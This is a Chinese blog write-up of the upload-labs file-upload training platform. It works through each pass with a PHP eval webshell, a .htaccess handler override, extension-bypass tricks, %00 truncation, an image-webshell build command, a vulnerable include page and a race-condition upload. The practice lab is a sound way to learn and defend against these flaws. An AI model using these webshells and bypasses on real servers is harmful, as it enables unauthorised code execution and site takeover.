以前博客
学习文件上传笔记,在github上看见一个文件上传练习平台,自己搭一个平台练习。
准备
下载文件
git clone https://github.com/c0ny1/upload-labs.git
部署docker上
sudo docker cp ./upload-labs e664955e:/var/www/
结果如下:
正常上传出现问题:
1、提示:../upload文件夹不存在,请手工创建! ----> 在upload-labs目录下创建upload文件夹 mkdir upload
2、提示:上传出错! ----->可能是权限不够 chomd -R 777 upload-labs
要求
操作系统:windows、Linux
php版本:推荐5.2.17(其他版本可能会导致部分Pass无法突破)
php组件:php_gd2,php_exif(部分Pass需要开启这两个组件)
apache:以moudel方式连接
因为我这docker的php是5.6的,有Pass做不了
wp
Pass-01(很详细)
查看源代码
发现只是在前端进行js校验上传文件。思路:那我们进行抓包,对抓抓取的数据包进行修改。
编辑1.php,添加一句话木马
<?php
@eval($_POST['ese']);
echo "i am ese";
?>
将1.php改成1.png,上传利用burpsuit抓包,并再次修改文件名
查看返回包,发现上传文件路径
访问
http://172.10.22.70:1234/upload-labs/upload/1.php
查看是否上传成功
利用Cknife(菜刀),连接
连接成功
Pass-02
查看源代码,发现服务器端利用$_FILES['upload_file']['type']
对文件类型进行校验,用Pass-01的方法便可以绕过。
Pass-03
查看源代码
if (file_exists(UPLOAD_PATH)) { //检测上传路径是否存在
$deny_ext = array('.asp','.aspx','.php','.jsp'); //添加后缀黑名单数组
$file_name = trim($_FILES['upload_file']['name']); //移除字符串两侧特定字符
$file_name = deldot($file_name); //删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); //返回从该位置到字符串结尾的所有字符
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; //这里生成随机数保存到服务器,格式[上传时间+随机数+后缀名],如:201810211053307940.php3
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
}
发现是黑名单判断,在某些PHP环境中(php版本小于php版本小于5.3.4),后缀名为php1、php2、php3、php4、php5、phtml等文件,也能当作php文件执行。尝试用php5,php3,phtml绕过,但是保存的时候,加入生成一个随机数,这个随机数在1000-9999之间。
将文件后缀名改php3,上传,burpsuit抓包,查看返回包,发现了上传路径,访问成功,成功上传。
Pass-04
查看源代码
发现也是黑名单过滤,基本上全都都过滤啦,除了.htaccess,于是首先上传一个.htaccess内容如下的文件:
SetHandler application/x-httpd-php
删除文件名上传,这样所有文件都会解析为php。
将php木马保存为4.png,上传4.png,由返回数据包知道存放路径。访问4.png,成功解析:
Pass-05
查看源代码
发现严格的黑名单过滤。但是对文件后缀名进行小写转换,没有将后缀进行大小写统一,于是可以通过大小写绕过,php特性
变量名,常量名 区分大小写
函数名、方法名、类名、后缀名 不区分大小写
NULL、TRUE、FALSE不区分大小写
我们可以改为5.phP,上传,由返回数据包知道存放路径,访问成功。
Pass-06
查看源代码
发现严格的黑名单过滤。
发现没有对文件后缀名进行首尾去空。
由返回数据包知道存放路径,访问路径
xxxx/upload-labs/upload/201810221131227187.php%20
,访问成功。
Pass-07
查看源代码
还是黑名单,但是没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过,
抓包,修改后缀名为7.php.
,由返回数据包,找到路径,访问xxxx\xxx\xxx\7.php.
,成功。
Pass-08
查看源代码
还是黑名单,但是没有对后缀名进行去”::DATA”进行绕过:
由返回数据包知道存放路径,访问路径
xxxx/upload-labs/upload/xxxx.php::$data
,访问成功。
Pass-09
查看源代码
还是黑名单,发现这一行
$img_path = UPLOAD_PATH.'/'.$file_name;
路径拼接的是处理后的文件名,于是构造9.php. .
(点+空格+点),经过处理后,文件名变成9.php.
,即可绕过。
访问xx/xxx/xxx/9.php.%20
,成功访问。
Pass-10
直接上传php,发现上传php成功,返回路径为upload/10.
,直接访问成功。额....
Pass-11
查看代码
白名单判断,
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
但是$img_path直接拼接,因此可以利用%00截断绕过。
截断条件:
php版本小于5.3.4 详情关注CVE-2006-7243
php的magic_quotes_gpc为OFF状态
如:
访问xxx/xxx/xxx/1.php
Pass-12
和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。
Pass-13
本关要求上传图片马即可
查看源代码
通过读文件的前2个字节判断文件类型,因此直接上传图片马即可,制作方法,cmd窗口下:
copy 13.jpg /b + shell.php /a webshell.jpg
上传webshell.jpg图片
上传成功,返回数据包,我们知道存储文件名4920181022153051.jpg。利用还要结合文件包含漏洞。
我们简单写一个存在文件包含漏洞的页面:
<?php
$file = $_GET[ 'page' ];
include($file);
?>
放在目录下upload-labs,
访问xxxx/upload-labs/include.php?page=upload/4920181022153051.jpg
成功利用。
Pass-14
利用Pass-13方法可绕过。
Pass-15
利用Pass-13方法可绕过。
Pass-16
利用Pass-13方法可绕过。
Pass-17
1、本关考察的是条件竞争,
2、这里先将文件上传到服务器,
3、先将上传的文件存在服务器,
4、判断是否在白名单上,不在则删除[unlink]文件,
5、因此可以通过条件竞争的方式在删除[unlink]之前,访问webshell。
首先在burp中不断发送上传webshell的数据包。然后不断的访问xxx/upload-labs/upload/shell.php
Pass-18
同样存在条件竞争的漏洞
Pass-19
本关考察CVE-2015-2348 move_uploaded_file() 00截断,上传webshell,同时自定义保存名称。发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过。
参考
以前博客